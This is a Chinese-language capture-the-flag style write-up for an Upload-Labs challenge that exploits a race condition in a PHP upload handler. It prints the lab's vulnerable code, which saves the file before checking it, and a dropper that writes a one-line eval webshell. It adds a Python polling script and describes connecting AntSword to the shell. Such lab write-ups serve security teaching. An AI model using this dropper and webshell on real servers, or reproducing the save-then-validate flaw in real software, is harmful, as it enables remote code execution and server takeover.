读者可参考、订阅专栏:Upload-Labs靶场攻防实战
Antsword蚁剑
蚁剑工具的使用可参考:
[网络安全]DVWA之File Upload—AntSword(蚁剑)攻击姿势及解题详析合集
姿势
后端逻辑代码:
<?php
include '../config.php';
include '../head.php';
include '../menu.php';
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
?>
<div id="upload_panel">
<ol>
<li>
<h3>任务</h3>
<p>上传一个<code>webshell</code>到服务器。</p>
</li>
<li>
<h3>上传区</h3>
<form enctype="multipart/form-data" method="post">
<p>请选择要上传的图片:<p>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>
<div id="msg">
<?php
if($msg != null){
echo "提示:".$msg;
}
?>
</div>
<div id="img">
<?php
if($is_upload){
echo '<img src="'.$img_path.'" width="250px" />';
}
?>
</div>
</li>
<?php
if($_GET['action'] == "show_code"){
include 'show_code.php';
}
?>
</ol>
</div>
<?php
include '../footer.php';
?>
1. 首先,通过设置一个布尔型变量$is_upload和$msg为空,来初始化文件上传的状态和错误信息。
2. 接着,判断是否有提交表单的POST请求。如果有,则开始处理文件上传。
3. 创建一个允许上传的文件扩展名数组$ext_arr,包括了允许上传的图片类型(jpg、png、gif)。
4. 获取上传文件的原始文件名$file_name,并临时保存在服务器上的文件路径$temp_file。
5. 使用substr函数获取文件扩展名$file_ext。
6. 根据定义的上传路径UPLOAD_PATH和文件名生成待存储的文件路径$upload_file。
7. 调用move_uploaded_file函数将临时文件移动到指定路径$upload_file。如果移动成功,则进行进一步的处理;否则,记录错误信息。
8. 在移动成功的情况下,使用in_array函数检查文件扩展名是否在允许上传的类型数组中。
9. 如果文件扩展名在允许上传的类型数组中,生成一个随机的文件名$img_path,并将原始上传文件重命名为$img_path。同时将$is_upload设置为true,表示上传成功。
10. 如果文件扩展名不在允许上传的类型数组中,记录错误信息$msg,并删除已上传的文件。
11. 如果移动文件发生错误,记录错误信息$msg。
可以知道,后端逻辑代码先上传文件,再进行过滤及二次渲染
该题涉及条件竞争
与 打开了某文件,再去删除这个文件,系统提示这个文件在另一程序中打开无法删除 的原理类似,我们可以在上传文件的一瞬间访问该文件,这样的话,文件就无法被过滤及二次渲染
操作如下:
准备一个php文件:
上传该文件时抓包:
发送至爆破模块:
设置payload集:
开始攻击:
在点击开始攻击的一瞬间,访问目标文件路径,如
localhost/upload-labs-master/upload/1.php?1=phpinfo();
即可实现命令执行
但利用条件竞争时,需要快速进行访问,而手工较慢,因此需要写特定的脚本进行访问或上传
写入一个sh.php文件,内容为:
<?php fputs(fopen("info.php", "w"), '<?php @eval($_REQUEST[1]);?>'); ?>
作用为:fopen(“info.php”, “w”) 使用写入模式(w)打开了一个名为 info.php 的文件,然后,fputs() 函数将 <?php @eval($_REQUEST[1]);?> 写入到打开的文件中
接着抓包发送至爆破模块并清除所有payload:
接着设置payload:
再写一个脚本:
import requests
url = "http://127.0.0.1/upload-labs/upload/sh.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
else:
print("DOWN")
如果状态码为 200,则输出 “OK” 并跳出循环;否则输出 “DOWN”
运行脚本后开始爆破攻击,直至回显OK:
说明info.php成功生成,同时该文件包含一句话木马
接着我们使用蚁剑测试连接:
成功添加: